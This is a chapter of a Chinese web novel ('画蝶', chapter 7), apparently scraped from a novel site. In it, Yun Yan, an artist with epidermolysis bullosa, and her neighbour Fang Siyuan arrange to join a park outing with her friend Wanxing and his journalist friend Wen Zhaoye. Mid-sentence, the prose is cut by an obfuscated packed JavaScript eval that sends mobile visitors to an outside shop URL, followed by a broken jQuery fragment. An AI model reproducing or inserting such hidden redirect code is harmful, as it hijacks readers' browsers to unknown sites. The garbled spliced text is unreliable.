文趣网 > 其他小说 > 画蝶 > 7. 学长
    泡澡水泛着淡淡的药草香气,云嫣心神不宁地握着手机,反复回想着晚星今天和她说的事情。

    “我交到了一个新朋友哦,是个记者,他还是你高中的学长呢!”

    云嫣心下一惊,强忍住心头翻涌的好奇,“谁呀?”

    晚星说了一个完全陌生的名字,“温照野,你认识吗?”

    云嫣想了想,摇摇头,“不认识。”

    有那么一瞬间,她心中萌发出一股莫名的期待,如果这个人是方斯远就好了。

    她自己都说不上来为什么,这个念头被强行压下去,又像煮沸的开水般咕嘟咕嘟涌上来,细密的气泡一个个炸开,好似蜂针,搅得她心头发痒。

    晚星还在碎碎地说着她与温照野相识的经过,她很喜欢这个大哥哥一样的男孩子,幽默风趣,脑袋里仿佛有聊不完的话题。云嫣想,或许这是记者的通病。她从晚星脸上看到了少女怀春的羞怯,但这份悸动只能深藏在心底,晚星不说,她就不会多问,像她们这样的人,很少会去谈论感情。

    她把脸埋进水里,像一条孤独的鱼。

    鱼默默地吐了一串泡泡,云嫣擦了把脸,拿起放在一旁的手机。

    该怎么问好呢。

    你认不认识温照野?删掉。

    请问你认识温照野吗?又删掉。

    云嫣挫败地清空对话栏,却看见方斯远的名字变成了“对方正在输入中”。

    方斯远:「你下午去见的那个朋友,是不是叫晚星?」

    方斯远回到家,思来想去,还是决定找云嫣问问。他在离开咖啡厅的时候分明听到了云嫣喊出的名字:晚星。

    温照野朋友遍天下,认识谁都不意外,但这次确实太巧了,命运仿佛一串解不开的环,把他们巧妙地圈在一起。

    云嫣看到这条消息,怔了怔:「是,怎么了?」

    方斯远:「方便打电话吗?」

    云嫣:「稍等。」

    她快速从泡澡桶里出来,擦干身体,换上干净的睡衣,给方斯远回拨过去,“有什么事吗?”

    “是这样,我有一个朋友,他最近在跑城中村相关的采访,今晚我和他聊起来,他提到了陈婉清这个人。”方斯远顿了顿,“就是你说的晚星。”

    云嫣愣住了,这么巧?

    “你那个朋友,是叫温……”

    “温照野,你认识他?”

    “嗯,听晚星提起过。”

    “阿野和我讲,他这周末要和陈婉清去公园。”方斯远迟疑半晌,“他叫我陪他去,你去吗?”

    云嫣摸着半干的发丝,不明就里,“这不是他们两个人的事吗?”

    “阿野可能是怕单独和女生出去会尴尬。”方斯远解释道,“但我觉得两个男生带一个刚成年的女孩也不太好,所以我想问问你要不要一起。”

    云嫣一时有些拿不定主意。

    下午晚星说起这件事的时候,表情羞涩又期待,显然是没料到温照野会叫另一个人。

    而这个人又叫上了自己,她不知该如何向晚星解释她和方斯远的关系。

    早知道今天就告诉晚星好了。

    “再说吧,我和晚星商量一下。”

    挂断电话,云嫣坐到电脑前,画完分镜,线稿却迟迟难落笔,方才勉强勾了几笔轮廓,怎么看怎么别扭。

    明明已经是画过无数次的人物,今天却总是感觉手感不对。最近卡稿卡得心烦,还差两章完结,骆落的意见是结尾还需要再优化,感情线太低迷了,虐身又虐心,不符合当下价值规范,尤其不利于青少年心理健康。

    云嫣不知道一破漫画有什么好上价值的,再说她也没谈过恋爱,所有的灵感来源全是狗血N角恋小说。

    她烦躁地把笔往桌面上一丢,前些日子买的新手绘屏一直没发短信,查看进度才发现下午就送进了快递柜。点开病友群,晚星正和人讨论着特效药的进展,看样子父母吵架的事已经解决了。

    云嫣无聊地翻看着手机,学校公众号推送了最新动态,她鬼使神差地点进去,却没记住内容,手指滑到搜索栏,她犹豫片刻,打下了温照野的名字。

    温照野的履历有一长串,各类大大小小的比赛都有获奖,大学去了港市。云嫣看着那张英语竞赛的合照,高中时代的温照野笑容灿烂,云嫣的视线却不由自主地被另一个人吸引。

    那是和温照野搭着肩的方斯远,白净清隽,轮廓分明,恍若芝兰玉树,丰神俊朗的少年意气。

    她几乎能想象到,在自己还未入学的日子里,这样的两个人是何等受欢迎。

    怪不得那天贺萌提起方斯远的语气那么激动。

    云嫣想了想,还是决定先试探一下晚星的意思,她问晚星:「你睡了吗?」

    「没有呀。」晚星回:「怎么了?」

    云嫣思考着还如何措辞:「其实我也有个记者朋友,他和温照野认识,我也是今天才知道的。」

    晚星过了一会儿才回:「方斯远?」

    这下轮到云嫣傻眼了。

    晚星是怎么知道的?

    “是不是他呀?”晚星发了段语音,“小温哥哥和我提过这个人,说是他最好的朋友,你们都是一个高中毕业的,我猜应该是他……还是我猜错啦?”

    事到如今,云嫣只好承认,“嗯,方斯远说你们要去公园,但温照野喊他一起,他怕你尴尬,所以想叫我也去。”

    “好啊好啊。”晚星满口答应,“你早说嘛,这算什么,人多了才热闹呢。”

    云嫣松了口气,“好,那到时候在说。”

    躺在床上,她无聊地翻看着最近的朋友圈,有转发通知的,有分享美照的,发的最多的是贺萌,几乎每条都是九宫格。

    贺萌的置顶是去年的国外旅行,高山清溪,绿草如茵,照片里的她穿着吊带和热裤,露出大片光洁的肌肤,明媚又朝气。

    云嫣觉得自己永远都不会穿这样的衣服,拍这样有活力的照片,她的皮肤经不起一点折腾,轻轻摔一下都能让她痛不欲生。

    至于活力,那就更别提了。

    从来没有过的东西。

    杯壁上的水珠一滴滴滑落,洇湿了垫在下面的问卷报表,方斯远喝完最后一口咖啡,将整理完毕的背景简报推至一侧,开始沉下心拟定采访提纲。

    最耗费心神的是面向住户代表的部分,方斯远他对照着文件反复斟酌措辞,删去过于尖锐的表述。这份工作枯燥而单调,他揉了揉酸痛的眼眶,抓起眼药水滴了几滴,放空地靠在椅背上。

    还是在想昨天的那个提案,越是忙碌越容易想一些无用的事情。

    他不过是个还没转正的实习生,眼下手头的任务还没完成,主动提一个全新的选题,未免显

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677446|207545||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得操之过急。

    方斯远正出着神,身后传来清脆的脚步声,司徒蕴的声音在头顶响起,“怎么?累了?”

    “没有,眼睛有点酸。”方斯远直起身子,冲司徒蕴笑了笑。

    司徒蕴今天去市里领奖,难得穿了一身正装,头发卷成大波浪,还喷了淡淡的香水。

    “打起精神,年轻人就应该多点精气神,别整天瞎想些有的没的。”

    这句话听得方斯远莫名心虚。

    他确实瞎想了,还不自量力地想了个很宏大的议题。

    难不成司徒蕴还有透视眼这特异功能?

    司徒蕴语重心长地拍拍他的肩,“小方同学,加油啊。”

    说罢就踩着高跟鞋哒哒哒走远了。

    方斯远看着司徒蕴的背影闪进办公室,想着转换一下心情,不要让八字没一撇的事情影响现在的工作,起身去了茶水间。

    茶水间有三三两两闲聊的同事,方斯远接好热水,身边挤过来一个人,“又来摸鱼?”

    “哪有功夫摸鱼,稿子还没理清楚,看文件看得我眼晕。”

    方斯远接过温照野扔来的口香糖,放进嘴里,是薄荷味。

    “哎,昨天我跟你说的事你想好没啊?”

    温照野吹了个泡泡,噗呲一声破了。

    “人家小姑娘约你,干嘛非得拉我一起?”

    “拜托,她才刚成年没多久,还是病人,我和她单独出去出事怎么办?

    “所以你就拉我垫背?”

    “瞧你说的这叫什么话,平平安安的当然更好。”温照野吊儿郎当地和他勾肩搭背,“主要是我也不知道怎么跟这个年纪的小女孩相处嘛,所以我才让你叫上年年。”

    方斯远皱了皱眉。

    有云嫣的教训在前,方斯年这个大大咧咧的性格,万一又说出什么不该说的,还会连带着温照野都给人一种无理的感觉。

    也不知道那天说的话方斯年听进去了多少。

    “其实也不一定要叫我妹。”方斯远和温照野商量,“我认识一个人,她也是EB患者,而且还和陈婉清是朋友。”

    温照野挑眉,“谁?”

    “云嫣,和我住一个小区。”

    “我们学校那个?”

    方斯远眼中闪过一丝诧异,“你知道她?”

    “亏你还是学新闻的,学校公众号报道过啊。”

    “……都大学毕业了谁还看高中公众号”

    “这就说明你没有媒体人的觉悟。”温照野调出那篇推送给他看,“不过我也是认识陈婉清之后才想起来的,罕见病嘛,学校肯定会抓住热点报道一下。”

    推文写得很感人,主要是讲云嫣是如何自强不息努力学习,方斯远看着照片上云嫣的侧脸,短发齐耳,嘴唇紧绷,看不出一丝笑意。

    他觉得云嫣可能并不喜欢这篇报道。

    “如果她愿意来的话当然更好。”温照野收回手机,“不过这么巧,你们竟然是邻居。”

    “是啊。”

    “哦,说到这个云嫣,我想起来另一件事,和你有关的。”

    方斯远不记得自己之前和云嫣有过接触,“什么?”

    “就是之前我们回学校演讲那次啊。”

    温照野似乎有些意外,“你当时去办公室,走的时候拿错了书包,就是她的,你忘了?”